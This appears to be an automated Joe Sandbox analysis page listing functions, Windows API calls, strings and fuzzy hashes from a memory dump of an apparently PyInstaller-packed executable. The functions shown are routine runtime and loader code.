Security descriptor string length exceeds PYI_PATH_MAX!, xrefs: 00007FF6404E84A3
S-1-3-4, xrefs: 00007FF6404E8441
D:(A;;FA;;;%s)(A;;FA;;;%s), xrefs: 00007FF6404E8462
D:(A;;FA;;;%s), xrefs: 00007FF6404E8477

Memory Dump Source

Source File: 00000001.00000002.1981599946.00007FF6404E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6404E0000, based on PE: true

Associated: 00000001.00000002.1981561933.00007FF6404E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981666255.00007FF64050B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981734296.00007FF64051E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981734296.00007FF640523000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981825972.00007FF640526000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6404e0000_rename_me_before.jbxd

Similarity

API ID: Token$FreeInformationLocalProcess$CloseConvertCurrentErrorHandleLastOpenString
String ID: D:(A;;FA;;;%s)$D:(A;;FA;;;%s)(A;;FA;;;%s)$S-1-3-4$Security descriptor string length exceeds PYI_PATH_MAX!
API String ID: 6828938-1529539262
Opcode ID: 795f95526d0a951be163d7ee57e77295e71c5006ab84a191c0455a0dace466c7
Instruction ID: 2d982544cdd8630cc35464163c093093a424154aa6d2a0564f51409ab334d1d6
Opcode Fuzzy Hash: 795f95526d0a951be163d7ee57e77295e71c5006ab84a191c0455a0dace466c7
Instruction Fuzzy Hash: 42215131A0C762E1FA54FB10E6153EA62A5FF89780F444035EA5D83796DF3CE944C790

Function 00007FF6404FA5D8 Relevance: 9.1, APIs: 6, Instructions: 57COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,00007FF6404F43FD,?,?,?,?,00007FF6404F979A,?,?,?,?,00007FF6404F649F), ref: 00007FF6404FA5E7
FlsSetValue.KERNEL32(?,?,?,00007FF6404F43FD,?,?,?,?,00007FF6404F979A,?,?,?,?,00007FF6404F649F), ref: 00007FF6404FA61D
FlsSetValue.KERNEL32(?,?,?,00007FF6404F43FD,?,?,?,?,00007FF6404F979A,?,?,?,?,00007FF6404F649F), ref: 00007FF6404FA64A
FlsSetValue.KERNEL32(?,?,?,00007FF6404F43FD,?,?,?,?,00007FF6404F979A,?,?,?,?,00007FF6404F649F), ref: 00007FF6404FA65B
FlsSetValue.KERNEL32(?,?,?,00007FF6404F43FD,?,?,?,?,00007FF6404F979A,?,?,?,?,00007FF6404F649F), ref: 00007FF6404FA66C
SetLastError.KERNEL32(?,?,?,00007FF6404F43FD,?,?,?,?,00007FF6404F979A,?,?,?,?,00007FF6404F649F), ref: 00007FF6404FA687

Memory Dump Source

Source File: 00000001.00000002.1981599946.00007FF6404E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6404E0000, based on PE: true

Associated: 00000001.00000002.1981561933.00007FF6404E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981666255.00007FF64050B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981734296.00007FF64051E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981734296.00007FF640523000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981825972.00007FF640526000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6404e0000_rename_me_before.jbxd

Similarity

API ID: Value$ErrorLast
String ID:
API String ID: 2506987500-0
Opcode ID: 5dcac91248c0014d458aec840eea87d8b317a92cf5de5997ea3edf93bd94a031
Instruction ID: b64dd40b253b18a8bbe84778933883f3cd32f1fef348ec2b8a951752d4b9c536
Opcode Fuzzy Hash: 5dcac91248c0014d458aec840eea87d8b317a92cf5de5997ea3edf93bd94a031
Instruction Fuzzy Hash: 9C116D24F4C662E2FA587722565917D228B9F487B4F084734DC7ECB7D6DE2CB4118702

Function 00007FF6404E2300 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 81windowCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 00007FF6404E2338
DialogBoxIndirectParamW.USER32 ref: 00007FF6404E23FE
DeleteObject.GDI32 ref: 00007FF6404E2431
DestroyIcon.USER32 ref: 00007FF6404E2443

Strings

Unhandled exception in script, xrefs: 00007FF6404E2368

Memory Dump Source

Source File: 00000001.00000002.1981599946.00007FF6404E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6404E0000, based on PE: true

Associated: 00000001.00000002.1981561933.00007FF6404E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981666255.00007FF64050B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981734296.00007FF64051E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981734296.00007FF640523000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981825972.00007FF640526000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6404e0000_rename_me_before.jbxd

Similarity

API ID: DeleteDestroyDialogHandleIconIndirectModuleObjectParam
String ID: Unhandled exception in script
API String ID: 3081866767-2699770090
Opcode ID: a6e7d290dc67b0bb036b84f18c740492a81528deb91c8b42bdc3829a80364304
Instruction ID: bbc525334e2aa9c077ecc34c495dd18d7bf194e79ba6aa1856a38e0a29ca8308
Opcode Fuzzy Hash: a6e7d290dc67b0bb036b84f18c740492a81528deb91c8b42bdc3829a80364304
Instruction Fuzzy Hash: 80317C32A0DA9299EB24FF61E9552FA6360FF89788F440135EA4D8BB99DF3CD100C700

Function 00007FF6404E2760 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 57windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6404E86B0: MultiByteToWideChar.KERNEL32(?,?,?,00007FF6404E3FA4,00000000,00007FF6404E1925), ref: 00007FF6404E86E9

MessageBoxW.USER32 ref: 00007FF6404E283B
MessageBoxA.USER32 ref: 00007FF6404E284F

Strings

Error/warning (ANSI fallback), xrefs: 00007FF6404E2843
Error, xrefs: 00007FF6404E282C
%s%s: %s, xrefs: 00007FF6404E27EC

Memory Dump Source

Source File: 00000001.00000002.1981599946.00007FF6404E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6404E0000, based on PE: true

Associated: 00000001.00000002.1981561933.00007FF6404E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981666255.00007FF64050B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981734296.00007FF64051E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981734296.00007FF640523000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981825972.00007FF640526000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6404e0000_rename_me_before.jbxd

Similarity

API ID: Message$ByteCharMultiWide
String ID: %s%s: %s$Error$Error/warning (ANSI fallback)
API String ID: 1878133881-640379615
Opcode ID: 185a5ded7e4d76afdc6dde510c40398ff569d270283616bd23a067f5071c39f1
Instruction ID: 8fdea9c080354823018bc7794959ffe1a56e67eba9726776bf4b4746d7d2f12b
Opcode Fuzzy Hash: 185a5ded7e4d76afdc6dde510c40398ff569d270283616bd23a067f5071c39f1
Instruction Fuzzy Hash: 4321517261CA96A1FA24FB10F4517EA6364FF84788F400136EA8C93B99DF7CD645C780

Function 00007FF6404F8DA0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 27libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32 ref: 00007FF6404F8DC5
GetProcAddress.KERNEL32 ref: 00007FF6404F8DDB
FreeLibrary.KERNEL32 ref: 00007FF6404F8E02

Strings

mscoree.dll, xrefs: 00007FF6404F8DBC
CorExitProcess, xrefs: 00007FF6404F8DD4

Memory Dump Source

Source File: 00000001.00000002.1981599946.00007FF6404E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6404E0000, based on PE: true

Associated: 00000001.00000002.1981561933.00007FF6404E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981666255.00007FF64050B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981734296.00007FF64051E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981734296.00007FF640523000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981825972.00007FF640526000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6404e0000_rename_me_before.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: f1eb0c22b123c1cdb2873c61f44d146b1d21622817f8dd4d6a21f18b4a6e3d93
Instruction ID: d4fc5498ea7318f53537cfa785147e5897ce368d805e0ddb2dfcd704c11da3f3
Opcode Fuzzy Hash: f1eb0c22b123c1cdb2873c61f44d146b1d21622817f8dd4d6a21f18b4a6e3d93
Instruction Fuzzy Hash: 81F04F21B1DB12A1FA18BB24A4983796321EF4AB65F540639D97D8A3E4CF2CD549C300

Function 00007FF640508678 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 00007FF6405086A0
_set_statfp.LIBCMT ref: 00007FF6405086BB
_set_statfp.LIBCMT ref: 00007FF6405086D7
_set_statfp.LIBCMT ref: 00007FF640508713

Memory Dump Source

Source File: 00000001.00000002.1981599946.00007FF6404E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6404E0000, based on PE: true

Associated: 00000001.00000002.1981561933.00007FF6404E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981666255.00007FF64050B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981734296.00007FF64051E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981734296.00007FF640523000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981825972.00007FF640526000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6404e0000_rename_me_before.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: bce21d2362216a5e504affcf34f2858e363de54600403cac3d1eeb36cb2ab404
Instruction ID: 001b1ef2e6aecc85541d158118c28d47e3565e1bfbc7644172781a8234dd8869
Opcode Fuzzy Hash: bce21d2362216a5e504affcf34f2858e363de54600403cac3d1eeb36cb2ab404
Instruction Fuzzy Hash: 5711B232E1CA2362F65C3128D655B7D1140EF6737CF6A0634EDFE867DA8E2EA8808510

Function 00007FF6404FA6A0 Relevance: 7.6, APIs: 5, Instructions: 54COMMONLIBRARYCODE

Download Yara Rule

APIs

FlsGetValue.KERNEL32(?,?,?,00007FF6404F98B3,?,?,00000000,00007FF6404F9B4E,?,?,?,?,?,00007FF6404F9ADA), ref: 00007FF6404FA6BF
FlsSetValue.KERNEL32(?,?,?,00007FF6404F98B3,?,?,00000000,00007FF6404F9B4E,?,?,?,?,?,00007FF6404F9ADA), ref: 00007FF6404FA6DE
FlsSetValue.KERNEL32(?,?,?,00007FF6404F98B3,?,?,00000000,00007FF6404F9B4E,?,?,?,?,?,00007FF6404F9ADA), ref: 00007FF6404FA706
FlsSetValue.KERNEL32(?,?,?,00007FF6404F98B3,?,?,00000000,00007FF6404F9B4E,?,?,?,?,?,00007FF6404F9ADA), ref: 00007FF6404FA717
FlsSetValue.KERNEL32(?,?,?,00007FF6404F98B3,?,?,00000000,00007FF6404F9B4E,?,?,?,?,?,00007FF6404F9ADA), ref: 00007FF6404FA728

Memory Dump Source

Source File: 00000001.00000002.1981599946.00007FF6404E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6404E0000, based on PE: true

Associated: 00000001.00000002.1981561933.00007FF6404E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981666255.00007FF64050B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981734296.00007FF64051E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981734296.00007FF640523000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981825972.00007FF640526000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6404e0000_rename_me_before.jbxd

Similarity

API ID: Value
String ID:
API String ID: 3702945584-0
Opcode ID: 25d361a094b2c99e262beff41eaee06ac9464b6f74968b1c14d3cfe42ff85be4
Instruction ID: 9270d81edf57d1095dfa68cf2718a3606eebceb162612fbf8d19bff2acd8ac43
Opcode Fuzzy Hash: 25d361a094b2c99e262beff41eaee06ac9464b6f74968b1c14d3cfe42ff85be4
Instruction Fuzzy Hash: 9E115E64F0C662E2FA58B7269645579219B5F983B0F084334EC3ECB7D6DE2CF9118701

Function 00007FF6404FA534 Relevance: 7.6, APIs: 5, Instructions: 50COMMON

Download Yara Rule

APIs

FlsGetValue.KERNEL32 ref: 00007FF6404FA545
FlsSetValue.KERNEL32 ref: 00007FF6404FA564
FlsSetValue.KERNEL32 ref: 00007FF6404FA58C
FlsSetValue.KERNEL32 ref: 00007FF6404FA59D
FlsSetValue.KERNEL32 ref: 00007FF6404FA5AE

Memory Dump Source

Source File: 00000001.00000002.1981599946.00007FF6404E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6404E0000, based on PE: true

Associated: 00000001.00000002.1981561933.00007FF6404E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981666255.00007FF64050B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981734296.00007FF64051E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981734296.00007FF640523000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981825972.00007FF640526000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6404e0000_rename_me_before.jbxd

Similarity

API ID: Value
String ID:
API String ID: 3702945584-0
Opcode ID: a853173f6999e7d5ef833d9e4f06cbd56a904a1eb1d6261c936ae8f95b9bedb9
Instruction ID: 51b98c31ef0ea062ffa1152fea1eb07504785dc448ceaa345d1643a5bbdef9b7
Opcode Fuzzy Hash: a853173f6999e7d5ef833d9e4f06cbd56a904a1eb1d6261c936ae8f95b9bedb9
Instruction Fuzzy Hash: 451123A0E4C227F2FA68B77644591B9228B4F49370E086734D93ECB3D2ED2CB8518302

Function 00007FF6404F52B0 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 242COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6404F52EC
_invalid_parameter_noinfo.LIBCMT ref: 00007FF6404F5416
_invalid_parameter_noinfo.LIBCMT ref: 00007FF6404F54CC

Strings

verbose, xrefs: 00007FF6404F52C0

Memory Dump Source

Source File: 00000001.00000002.1981599946.00007FF6404E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6404E0000, based on PE: true

Associated: 00000001.00000002.1981561933.00007FF6404E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981666255.00007FF64050B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981734296.00007FF64051E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981734296.00007FF640523000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981825972.00007FF640526000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6404e0000_rename_me_before.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: verbose
API String ID: 3215553584-579935070
Opcode ID: f7ed0d29023b39033d3e63b48c2fcebc8df79207a036ffcb4dd83b8b3075c670
Instruction ID: c929a27461afeba3e76d11864a1beaef009112ee6c67597de271af61dfb95879
Opcode Fuzzy Hash: f7ed0d29023b39033d3e63b48c2fcebc8df79207a036ffcb4dd83b8b3075c670
Instruction Fuzzy Hash: 2391AF32A0CA66E1E721BE29E45037D379BAB40B99F884136DB5D873D9DF3CE8458304

Function 00007FF6404FEED8 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 219COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6404FF1B7

Part of subcall function 00007FF6404F6D4C: _invalid_parameter_noinfo.LIBCMT ref: 00007FF6404F6D69

Strings

UTF-16LEUNICODE, xrefs: 00007FF6404FF155
ccs, xrefs: 00007FF6404FF0F2
UTF-8, xrefs: 00007FF6404FF136

Memory Dump Source

Source File: 00000001.00000002.1981599946.00007FF6404E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6404E0000, based on PE: true

Associated: 00000001.00000002.1981561933.00007FF6404E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981666255.00007FF64050B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981734296.00007FF64051E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981734296.00007FF640523000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981825972.00007FF640526000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6404e0000_rename_me_before.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: UTF-16LEUNICODE$UTF-8$ccs
API String ID: 3215553584-1196891531
Opcode ID: f2afffe6052eb22f88312eb2a9052de40cf8af355caad6dfb5a285a3356e609b
Instruction ID: 309420085532cd179c2b0c260f54809d0f7e54be323ac4e172d0e8a3e367e090
Opcode Fuzzy Hash: f2afffe6052eb22f88312eb2a9052de40cf8af355caad6dfb5a285a3356e609b
Instruction Fuzzy Hash: 9581A272E0C223FAF7747F25C21027926AAAF11B48F558035CA09D7796DF2DE941A722

Function 00007FF6404EC968 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 154COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00007FF6404EC993
_IsNonwritableInCurrentImage.LIBCMT ref: 00007FF6404ECA2A
RtlUnwindEx.KERNEL32 ref: 00007FF6404ECA84

Strings

csm, xrefs: 00007FF6404ECA11

Memory Dump Source

Source File: 00000001.00000002.1981599946.00007FF6404E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6404E0000, based on PE: true

Associated: 00000001.00000002.1981561933.00007FF6404E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981666255.00007FF64050B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981734296.00007FF64051E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981734296.00007FF640523000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981825972.00007FF640526000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6404e0000_rename_me_before.jbxd

Similarity

API ID: CurrentImageNonwritableUnwind__except_validate_context_record
String ID: csm
API String ID: 2395640692-1018135373
Opcode ID: 8b87fa2c553d9157ee5c92b9fa7cd74c02d8a8cd0f0d05c46c7470457ee5a2ed
Instruction ID: ea18bcb2ca4c266a869d2e7a81082bc039e02fc8e56005ab48a7f25f1fed8839
Opcode Fuzzy Hash: 8b87fa2c553d9157ee5c92b9fa7cd74c02d8a8cd0f0d05c46c7470457ee5a2ed
Instruction Fuzzy Hash: 0D51A132B2D626EADB14FB15E444A787791FB44B89F108130EA5987788EF7CE842C780

Function 00007FF6404EE1F8 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 146COMMON

Download Yara Rule

APIs

EncodePointer.KERNEL32 ref: 00007FF6404EE257
_CallSETranslator.LIBVCRUNTIME ref: 00007FF6404EE2A3

Strings

RCC, xrefs: 00007FF6404EE273
MOC, xrefs: 00007FF6404EE26B

Memory Dump Source

Source File: 00000001.00000002.1981599946.00007FF6404E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6404E0000, based on PE: true

Associated: 00000001.00000002.1981561933.00007FF6404E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981666255.00007FF64050B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981734296.00007FF64051E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981734296.00007FF640523000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981825972.00007FF640526000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6404e0000_rename_me_before.jbxd

Similarity

API ID: CallEncodePointerTranslator
String ID: MOC$RCC
API String ID: 3544855599-2084237596
Opcode ID: c1bd0f280093dc077c2402edd2c21f20ddcaf15bcc9dc74a739a9fc2baeea3e9
Instruction ID: d26ef062bfe7f57b41249af47701fcc6fa16d6a2e638fa0a049ebbc3da8f672a
Opcode Fuzzy Hash: c1bd0f280093dc077c2402edd2c21f20ddcaf15bcc9dc74a739a9fc2baeea3e9
Instruction Fuzzy Hash: B3617F3290CBD5D5EB21EB16E4407AAB7A0FB85794F044225EB9C47B99DF7CE190CB40

Function 00007FF6404EE5A8 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 146COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00007FF6404EE5D0
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 00007FF6404EE6B8

Strings

csm, xrefs: 00007FF6404EE70A
csm, xrefs: 00007FF6404EE5F2

Memory Dump Source

Source File: 00000001.00000002.1981599946.00007FF6404E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6404E0000, based on PE: true

Associated: 00000001.00000002.1981561933.00007FF6404E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981666255.00007FF64050B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981734296.00007FF64051E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981734296.00007FF640523000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981825972.00007FF640526000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6404e0000_rename_me_before.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: 35f1ba398413474562c31f87a28067be7b3dedf2abf1bb91a394967b9293af31
Instruction ID: 3435bf6396a4e8ad41bffa82bdd1c5e47a5f51866054ab524ff2bc78b19782cd
Opcode Fuzzy Hash: 35f1ba398413474562c31f87a28067be7b3dedf2abf1bb91a394967b9293af31
Instruction Fuzzy Hash: 1951AF32A0C262E6EB64FF22904436877A1EB55B84F144136DA9C87BD5CF3CEA51CB81

Function 00007FF6404E7530 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 81COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNEL32(00000000,?,00007FF6404E324C,?,?,00007FF6404E3964), ref: 00007FF6404E7642

Strings

%.*s, xrefs: 00007FF6404E75FB
%s%c, xrefs: 00007FF6404E75B4
\, xrefs: 00007FF6404E75A7

Memory Dump Source

Source File: 00000001.00000002.1981599946.00007FF6404E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6404E0000, based on PE: true

Associated: 00000001.00000002.1981561933.00007FF6404E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981666255.00007FF64050B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981734296.00007FF64051E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981734296.00007FF640523000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981825972.00007FF640526000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6404e0000_rename_me_before.jbxd

Similarity

API ID: CreateDirectory
String ID: %.*s$%s%c$\
API String ID: 4241100979-1685191245
Opcode ID: 1156698ca0d33aa8d2468b4f0fdefbfa17a3fd1640f2d1a941dba21d9585616c
Instruction ID: 9b46986936144f648d47a0e7b2a7a9439cf12a4469b86afd1b15c1f4fe323bbc
Opcode Fuzzy Hash: 1156698ca0d33aa8d2468b4f0fdefbfa17a3fd1640f2d1a941dba21d9585616c
Instruction Fuzzy Hash: D131E821A1DAD2E5EA21FB25E8507EA6254FF94BF4F404231EE6D83BC9DF2CD6018740

Function 00007FF6404E25F0 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 44windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6404E86B0: MultiByteToWideChar.KERNEL32(?,?,?,00007FF6404E3FA4,00000000,00007FF6404E1925), ref: 00007FF6404E86E9

MessageBoxW.USER32 ref: 00007FF6404E2686
MessageBoxA.USER32 ref: 00007FF6404E269A

Strings

Error/warning (ANSI fallback), xrefs: 00007FF6404E268E
Error, xrefs: 00007FF6404E2677

Memory Dump Source

Source File: 00000001.00000002.1981599946.00007FF6404E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6404E0000, based on PE: true

Associated: 00000001.00000002.1981561933.00007FF6404E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981666255.00007FF64050B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981734296.00007FF64051E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981734296.00007FF640523000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981825972.00007FF640526000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6404e0000_rename_me_before.jbxd

Similarity

API ID: Message$ByteCharMultiWide
String ID: Error$Error/warning (ANSI fallback)
API String ID: 1878133881-653037927
Opcode ID: f4c9aea142df8fc367965a88b37001c6795115f60fce42f8f88369c54fa23369
Instruction ID: c0eb819fd3564ee5e643f48b34dc94857462298f51cb2860743b6e197fce8d6d
Opcode Fuzzy Hash: f4c9aea142df8fc367965a88b37001c6795115f60fce42f8f88369c54fa23369
Instruction Fuzzy Hash: 80118B7262CA96A1FA24FB10F551BA92364FB84B88F901135DA9C87744CF3CD605C740

Function 00007FF6404E2870 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 44windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6404E86B0: MultiByteToWideChar.KERNEL32(?,?,?,00007FF6404E3FA4,00000000,00007FF6404E1925), ref: 00007FF6404E86E9

MessageBoxW.USER32 ref: 00007FF6404E2906
MessageBoxA.USER32 ref: 00007FF6404E291A

Strings

Error/warning (ANSI fallback), xrefs: 00007FF6404E290E
Warning, xrefs: 00007FF6404E28F7

Memory Dump Source

Source File: 00000001.00000002.1981599946.00007FF6404E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6404E0000, based on PE: true

Associated: 00000001.00000002.1981561933.00007FF6404E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981666255.00007FF64050B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981734296.00007FF64051E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981734296.00007FF640523000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981825972.00007FF640526000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6404e0000_rename_me_before.jbxd

Similarity

API ID: Message$ByteCharMultiWide
String ID: Error/warning (ANSI fallback)$Warning
API String ID: 1878133881-2698358428
Opcode ID: bedc3c020f71ec751042cc21f49bee78fdd2451348ef76e59aa444c99166d18b
Instruction ID: 6898f3b46c731db5639d573c148691f02ad36a90d9b99ba9fc6f534e9f9b8114
Opcode Fuzzy Hash: bedc3c020f71ec751042cc21f49bee78fdd2451348ef76e59aa444c99166d18b
Instruction Fuzzy Hash: 73118B7262CA96A1FA24FB10F551BA93364FB84B88F901135DA9C87744CF3CD604C740

Function 00007FF6404FB8B0 Relevance: 6.3, APIs: 4, Instructions: 299fileCOMMON

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32 ref: 00007FF6404FB92F
WriteFile.KERNEL32 ref: 00007FF6404FBBF7
WriteFile.KERNEL32 ref: 00007FF6404FBC3D
GetLastError.KERNEL32 ref: 00007FF6404FBCF3

Memory Dump Source

Source File: 00000001.00000002.1981599946.00007FF6404E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6404E0000, based on PE: true

